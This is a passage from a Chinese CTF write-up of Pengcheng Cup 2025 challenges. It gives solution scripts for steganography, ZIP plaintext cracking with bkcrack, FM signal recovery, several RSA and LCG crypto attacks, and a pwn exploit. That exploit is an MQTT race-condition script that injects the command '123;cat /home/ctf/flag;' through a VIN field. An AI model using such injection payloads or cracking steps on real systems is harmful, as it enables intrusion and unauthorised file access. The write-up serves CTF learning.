    ciphertext = bytes.fromhex('fc66b270e8874c9d734ecd5b766aa5896dda6cc5349d5f3b44b54aaf5ef9ce49')
    print(f"\n密文: {ciphertext.hex()}")

    plaintext = sm4_decrypt(ciphertext, transformed_key)
    print(f"\n解密结果: {plaintext.decode('utf-8')}")

    flag_content = plaintext.decode('utf-8')
    print(f"\nFLAG: flag{{{flag_content}}}")
    print("=" * 60)

Flag: flag{12d8b17b8ae52636a1211299451f9f6c}

0x03 Misc (杂项)

题目名称：pcb5-BLUE

分析图片蓝色通道发现隐藏数据，提取后获得压缩包格式文件，保存为 extracted.bin。

使用脚本提取有效数据：

import os

def process_file(input_path, output_path):
    if not os.path.exists(input_path):
        print(f"Error: File {input_path} not found.")
        return
    try:
        with open(input_path, 'rb') as f_in, open(output_path, 'wb') as f_out:
            data = f_in.read()
            output_bytes = bytearray()
            for i in range(0, len(data), 2):
                if i + 1 < len(data):
                    byte1 = data[i]
                    byte2 = data[i+1]
                    nibble1 = (byte1 & 0xF0) >> 4
                    nibble2 = (byte2 & 0xF0) >> 4
                    new_byte = (nibble1 << 4) | nibble2
                    output_bytes.append(new_byte)
            f_out.write(output_bytes)
            print(f"Successfully processed {len(data)} bytes.")
            print(f"Extracted {len(output_bytes)} bytes to {output_path}")
    except Exception as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    input_file = 'extracted.bin'
    output_file = 'output.zip'
    print(f"Processing {input_file} -> {output_file}...")
    process_file(input_file, output_file)

对压缩包进行明文攻击获得密码，解压后得到两张图片。

使用双图盲水印 XOR 技术处理，获得 xor.png 后提取隐藏信息。

题目名称：pcb5-zipcracker

利用 ZIP 伪加密漏洞解压文件，使用 foremost 工具分离图片，获得 flag1.txt 和 flag2.txt。根据提示编写还原脚本：

import numpy as np
from scipy.signal import decimate
from scipy.io.wavfile import write

IQ_RATE = 576_000
AUDIO_RATE = 48_000
DECIM = IQ_RATE // AUDIO_RATE
I_FILE = "flag1.txt"
Q_FILE = "flag2.txt"
OUT_WAV = "output.wav"

print(" Loading I/Q data...")
I = np.fromfile(I_FILE, dtype=np.float32)
Q = np.fromfile(Q_FILE, dtype=np.float32)
min_len = min(len(I), len(Q))
I = I[:min_len]
Q = Q[:min_len]
iq = I + 1j * Q
print(f"
 Loaded {len(iq)} IQ samples")

print("
 FM demodulating...")
phase = np.angle(iq)
phase_unwrapped = np.unwrap(phase)
fm_demod = np.diff(phase_unwrapped)
fm_demod = np.concatenate([[0], fm_demod])

print("
 Decimating to audio rate...")
audio = decimate(fm_demod, DECIM, ftype='fir')

audio -= np.mean(audio)
audio /= np.max(np.abs(audio)) + 1e-9

print(" Writing WAV file...")
write(OUT_WAV, AUDIO_RATE, audio.astype(np.float32))
print("[+] Done! Output saved as:", OUT_WAV)

还原 WAV 文件后识别为摩斯密码，手动解码获得线索。

解开 flag.zip 后发现 flag.txt 不完整，使用明文攻击：

bkcrack.exe -C flag.zip -c flag.txt -p plain.txt -x 25 2121217d

修改密码后重新解压：

bkcrack.exe -C flag.zip -k 33b19021 93c4a78d 9ceed931 -U flagnew.zip 123456

最终获得 flag。

题目名称：pcb5-SMB

解密 NTLM 哈希：获得密码 12megankirwin12。
流量分析：在 Wireshark 中配置解密后导出文件。

逆向分析：利用明文攻击获得 letter.exe，运行后逆向分析，通过内存搜索直接获取 flag。

题目名称：pcb5-whiteout

这是一个 OCI 镜像布局文件夹，提取文件后运行解密脚本：

tar -xf c:\Users\FoxxD\Desktop\pcb\whiteout\whiteout\image\blobs\sha256\d53154d4f2499c5c31fdd61d359d2a9a0b9076ac639b102bb913c752f5769cfb -C extraction opt/.data/.logs/syslog.bin
tar -xf c:\Users\FoxxD\Desktop\pcb\whiteout\whiteout\image\blobs\sha256\6ad10b1fede380e2db5571dfe343455d33dd1f07588368ff59ee2a9a826739a9 -C extraction opt/app/decode.py

运行 decode.py 解密获得 flag。

题目名称：pcb5-The Rogue Beacon

分析 CAN 数据包，找到速度对应的 CAN ID。使用 tshark 提取数据：

tshark -r "The Rogue Beacon.pcapng" -T fields -e frame.number -e can.id -e data > data.txt

筛选发现 CAN ID=580 的数据连续平滑变化，查找最大值所在包序号为 12149。

Flag: flag{9db878fd06dd7587a91c0fb600e0e9f7c3ea310e75f36253ef57ac2d92dd8c29}

题目名称：hide

使用 LSB 隐写分析获得 Steghide 密码，提取隐藏文件。

0x04 Crypto (密码学)

题目名称：pcb5-weak_leak

题目分析

基于 LCG 的加密系统，密码为 6 位数字，泄露值 leak = (3*P*P - 1) / (3*P*Q)，需爆破密码、恢复序列、分解 RSA 并解密 AES。

解题脚本

import hashlib
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from Crypto.Cipher import AES
import base64
import math

salt = "f62b3e49c1f05d1c"
target_hash = "a0bcbfda9bd2f0364c6f4ad0f996465bec0da2de8cd51ee11c9c883b47779cc4"
n1 = 5584300989285538211153365890789627571870624311506728764237201442331520767215704903718501881100700113185783404202199758018541582967691088869854375384182438
n2 = 5584300989285538211153365890789627571870624311506728764237201442331520767215684679677759040755449786845864086748368453212978360679736956915595159857669375
cipher_rsa = 4516247026166659285144948330256302160375394741001987438893860039618683568332625137344822301939534363324551681121344467717871483193109869787946141254659256
iv_b64 = "G+Mn2WPXhRztrDdD8m+1gw=="
ct_b64 = "j9mUOuK2iz9ZHZor8BcsXNFhFRGzkw1x4a5T1GzaYJJ8VhHj+7jN0Id47fcxw/7F"

e = 65537
LCG_A, LCG_B, LCG_MOD = 1103515245, 12345, 10007
SECRET_VALUE = 1234

print("Brute-forcing password...")
password = None
for i in range(1000000):
    pwd = f"{i:06d}"
    h = hashlib.sha256((salt + pwd).encode()).hexdigest()
    if h == target_hash:
        password = pwd
        print(f"Found password: {password}")
        break

def gen_seq(seed,a,b,m,length):
    seq=[seed % m]
    for _ in range(length-1):
        nxt=(a*seq[-1]+b) % m
        nxt ^= (seq[-1] & 0xff)
        seq.append(nxt)
    return seq

lcg_seed = (int(password) ^ SECRET_VALUE) % LCG_MOD
seq = gen_seq(lcg_seed, LCG_A, LCG_B, LCG_MOD, 15)
seq9 = seq[9]
print(f"seq9: {seq9}")

B = n2 - n1 - seq9 + 1
C = -n1
delta = B*B - 4*C
sqrt_delta = math.isqrt(delta)
p1 = (-B + sqrt_delta) // 2
p2 = (-B - sqrt_delta) // 2
p = p1 if p1 > 0 else p2
print(f"Found p: {p}")

q = (n1 // p) - 1
n = p * q
print(f"Found q: {q}")
print(f"n: {n}")

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
masked_key_int = pow(cipher_rsa, d, n)

mask_bytes = hashlib.sha256(str(seq9).encode()).digest()[:16]
aes_key_int = masked_key_int ^ bytes_to_long(mask_bytes)
aes_key = long_to_bytes(aes_key_int)

if len(aes_key) < 16:
    aes_key = b'\x00' * (16 - len(aes_key)) + aes_key
print(f"AES Key: {aes_key.hex()}")

iv = base64.b64decode(iv_b64)
ct = base64.b64decode(ct_b64)
cipher = AES.new(aes_key, AES.MODE_CBC, iv)
try:
    pt = cipher.decrypt(ct)
    pad_len = pt[-1]
    flag = pt[:-pad_len]
    print(f"Flag: {flag.decode()}")
except Exception as e:
    print(f"Decryption failed: {e}")

题目名称：pcb5-babyRSA

题目分析

给定 RSA 密文 c 和泄露值 leak = (3P^2 - 1) / (3PQ)，私钥 d 已知，需枚举 e 求解 P，进而分解 N。

解题脚本

import decimal
from Crypto.Util.number import long_to_bytes

decimal.getcontext().prec = 4096

leak_str = "1.396995694831414203476063690838730308815841662737318558906107823553922718340982125801595368449608188770051881765292978548960520326036779130167518285237817101541807766017642530065080930654694948943506714268685400709580398894902693407016988670394423892586264077247263710263220932577837642377245651448838665854362532801659965471421937839336237670710012298796758992931116659292915200628873553198226185187089027680973673618973869464164460226697625936493428822424637497370197316811245879504779934098600596822159243994319583651080005054538419168988020562590543262648544970376255020489363894055887067948343768399654357738592577280906555896933717091837896978973488220368081406433117367524537063718421897982643644320078600517763936883820416362057895941185749296170109172249907094176821124345672294602380784325702476105763209165109703429326132417850746805701054961710623030742187505484821961670922386999933202645522248608323217011522889282323071281405301772218220381951540118124201599862330377374571641729649420917168701463539034702411"
d = 16306054997613721520756151430779642117683661431522665108784419231044104572118893098180652730976905729602478591047033305251624752030036736271198006715513694904231940253554804069707679445942892410812386221633728427239116007373836662495075237456279818311659331982404534490546781763464409713789636372508503902598331950861474527128323735250673137355260113147338636761737748874105625008482750923429512271416511835596944209137554445130949731646669691366003832655082535985891463876904334888009751956386994969339847254470145428608062575606120441725590059524749595027078238962391188809496875025237129899849787699468205026040721
c = 7908369000608075306226552240713890041649799894903074579356627811865842237315201153498579205223600526520994811661608630888045462921547166872107507948062717836952855804806976414887413729060431265217539895710936669089248515746191716161194996469977577048602427553584286064475300979649416171469313168995504717602670924606819204605601860560767900702512753735554900344201907921239415885901489708576066483012272256175573658509614344875077232108364134161997767814675830320630271209201503987787921279932886374846298269125068817280777403718279754392091441050281244934594776307137448975055247018414699621410668188864774860026941
leak = decimal.Decimal(leak_str)

def solve_for_p(phi, leak):
    P_curr = decimal.Decimal(phi * leak).sqrt()
    for _ in range(20):
        P2 = P_curr * P_curr
        P3 = P2 * P_curr
        f = 3*P3 - (3*leak + 3)*P2 + (1 + 3*leak - 3*leak*phi)*P_curr + 1
        df = 9*P2 - 2*(3*leak + 3)*P_curr + (1 + 3*leak - 3*leak*phi)
        if df == 0:
            break
        P_next = P_curr - f / df
        if abs(P_next - P_curr) < 0.5:
            P_curr = P_next
            break
        P_curr = P_next
    return int(P_curr.to_integral_value())

print("Searching for k and e...")
found = False
E_CANDIDATES = [3, 5, 17, 257, 65537]
E_CANDIDATES.extend(range(3, 1000, 2))
E_CANDIDATES = sorted(list(set(E_CANDIDATES)))

for e in E_CANDIDATES:
    for k in range(1, e + 1):
        if (e * d - 1) % k != 0:
            continue
        phi = (e * d - 1) // k
        p_candidate = solve_for_p(phi, leak)
        if p_candidate > 1 and phi % (p_candidate - 1) == 0:
            q_candidate = (phi // (p_candidate - 1)) + 1
            n_candidate = p_candidate * q_candidate
            try:
                m_int = pow(c, d, n_candidate)
                m_bytes = long_to_bytes(m_int)
                if b"flag" in m_bytes:
                    print(f"Found e: {e}")
                    print(f"Found k: {k}")
                    print(f"p: {p_candidate}")
                    print(f"q: {q_candidate}")
                    print(f"Flag: {m_bytes}")
                    found = True
                    break
            except Exception:
                pass
    if found:
        break

if not found:
    print("Flag not found.")

题目名称：pcb5-true_or_false

题目分析

RSA 故障注入攻击结合 LCG 混淆，需恢复种子去混淆签名，利用 Bellcore 攻击分解 N。

解题脚本

import json
import multiprocessing
from Crypto.Util.number import bytes_to_long, long_to_bytes, GCD
import time

with open("challenge.json", "r") as f:
    data = json.load(f)

n = int(data["n"], 16)
e = data["e"]
sig_ok_mixed = bytes.fromhex(data["sig_ok_mixed"])
sig_fault_mixed = bytes.fromhex(data["sig_fault_mixed"])
flag_enc = int(data["flag_enc"], 16)
seed_hint = data["seed_hint"]
A = 1103515245
B = 12345
MOD = 2**31

def lcg(s):
    while True:
        s = (A * s + B) % MOD
        yield s & 0xFF

def unmix(b, s):
    g = lcg(s)
    o = bytearray()
    for i in range(0, len(b), 8):
        chunk = b[i:i+8]
        dec_chunk = bytearray()
        for x in chunk:
            dec_chunk.append(x ^ next(g))
        o.extend(dec_chunk[::-1])
    return bytes(o)

def check_seed_range(start, end, step):
    for seed in range(start, end, step):
        try:
            s_bytes = unmix(sig_ok_mixed, seed)
            s = bytes_to_long(s_bytes)
            m_candidate = pow(s, e, n)
            if m_candidate < 2**256:
                return seed, m_candidate
        except Exception:
            continue
    return None

def solve():
    start_seed = seed_hint if seed_hint != 0 else 97
    max_seed = 2**31
    step = 97
    num_processes = multiprocessing.cpu_count() - 1
    pool = multiprocessing.Pool(processes=num_processes)

    chunk_size = 100000 * step
    tasks = []
    curr = start_seed
    while curr < max_seed:
        end = min(curr + chunk_size, max_seed)
        tasks.append((curr, end, step))
        curr = end

    results = []
    for task in tasks:
        results.append(pool.apply_async(check_seed_range, args=task))
    pool.close()

    found_seed = None
    m = None
    for res in results:
        val = res.get()
        if val:
            found_seed, m = val
            pool.terminate()
            break

    if found_seed:
        print(f"Found seed: {found_seed}")
        flag_int = flag_enc ^ m
        flag = long_to_bytes(flag_int)
        print(f"Flag: {flag}")

        s_fault_bytes = unmix(sig_fault_mixed, found_seed + 123456)
        s_fault = bytes_to_long(s_fault_bytes)
        s_ok = bytes_to_long(unmix(sig_ok_mixed, found_seed))
        p = GCD(s_ok - s_fault, n)
        print(f"Recovered p: {p}")
    else:
        print("Seed not found")

if __name__ == "__main__":
    solve()

题目名称：pcb5-PECO

题目分析

综合 RSA 题目，涉及 Pell 方程、Hensel 提升、格基约减和背包问题。

解题思路

求解 Pell 方程：获取 x, y。
Hensel 提升：恢复 p 的低位。
格基约减：恢复完整 p。
解密 RSA：获得 m。
LLL 算法：求解背包问题获得 flag。

由于解题脚本较长，此处省略完整代码，关键步骤已在上文详述。

题目名称：budo的pem

从 PEM 文件恢复 n 和 e，使用 Boneh-Durfee 攻击（参数 m=8）恢复私钥 d，解密获得 flag。

0x05 Pwn (二进制漏洞)

题目名称：Heartbeat_Out_of_Bounds

MQTT 国赛原题，漏洞点为 sleep(2) 条件竞争。先输入合法 VIN，再进行命令注入。

使用 mqttx 订阅 diag 获得 VIN：XDGV56EK1R8B3W42B。

利用条件竞争执行命令注入脚本：

import paho.mqtt.client as mqtt
import time
from json import dumps

broker = '192.168.18.23'
client_id = "python_client"
vin = 'XDGV56EK1R8B3W42B'
hashn = 0
for ch in vin:
    hashn = hashn * 0x1f + ord(ch)
auth = hex(hashn)[-8:]

def on_connect(client, userdata, flags, rc, properties=None):
    print(f"Connected with result code {rc}")
    client.subscribe("diag")

def on_message(client, userdata, msg):
    print(f"{msg.topic}: {msg.payload.decode()}")

client = mqtt.Client(client_id=client_id, callback_api_version=mqtt.CallbackAPIVersion.VERSION2)
client.on_connect = on_connect
client.on_message = on_message
client.connect(broker, 19999, 60)

cmd = {'auth': auth, 'cmd': 'set_vin', 'arg': '111111111a'}
client.loop_start()
client.subscribe('diag/resp')
client.publish('diag', dumps(cmd))
time.sleep(1)
cmd['arg'] = '123;cat /home/ctf/flag;'
client.publish('diag', dumps(cmd))

try:
    while True:
        time.sleep(0.5)
except KeyboardInterrupt:
    pass

client.loop_stop()
client.disconnect()

总结：本文详细解析了鹏城杯 2025 CTF 中多个赛题的解题过程，涵盖 Web 安全中的反序列化、文件上传、条件竞争等漏洞，逆向工程中的算法分析与密码学中的 RSA 攻击、故障注入等高级技术。这些漏洞利用技巧在安全渗透测试中具有典型意义，而密码学题目则深入应用了算法与数据结构知识，为 CTF 选手提供了宝贵的学习参考。

上一篇：Linux Component框架解析：子系统初始化顺序控制机制详解
下一篇：Java领域模型实战：贫血与充血模式在电商系统的选择与应用

CTF, PHP反序列化, Java漏洞, SM4加密, RSA攻击

鹏城杯2025 CTF赛题WriteUP：Web漏洞利用与逆向工程深度解析

0x01 Web 方向

题目名称：ez_php

题目名称：pcb5-Uplssse

题目名称：pcb5-ezDjango

漏洞分析

攻击路径

EXP 脚本

题目名称：pcb5-ez_java

0x02 Re (逆向工程)

题目名称：moremoreflower

题目名称：medddgo

0x03 Misc (杂项)

题目名称：pcb5-BLUE

题目名称：pcb5-zipcracker

题目名称：pcb5-SMB

题目名称：pcb5-whiteout

题目名称：pcb5-The Rogue Beacon

题目名称：hide

0x04 Crypto (密码学)

题目名称：pcb5-weak_leak

题目分析

解题脚本

题目名称：pcb5-babyRSA

题目分析

解题脚本

题目名称：pcb5-true_or_false

题目分析

解题脚本

题目名称：pcb5-PECO

题目分析

解题思路

题目名称：budo的pem

0x05 Pwn (二进制漏洞)

题目名称：Heartbeat_Out_of_Bounds

相关帖子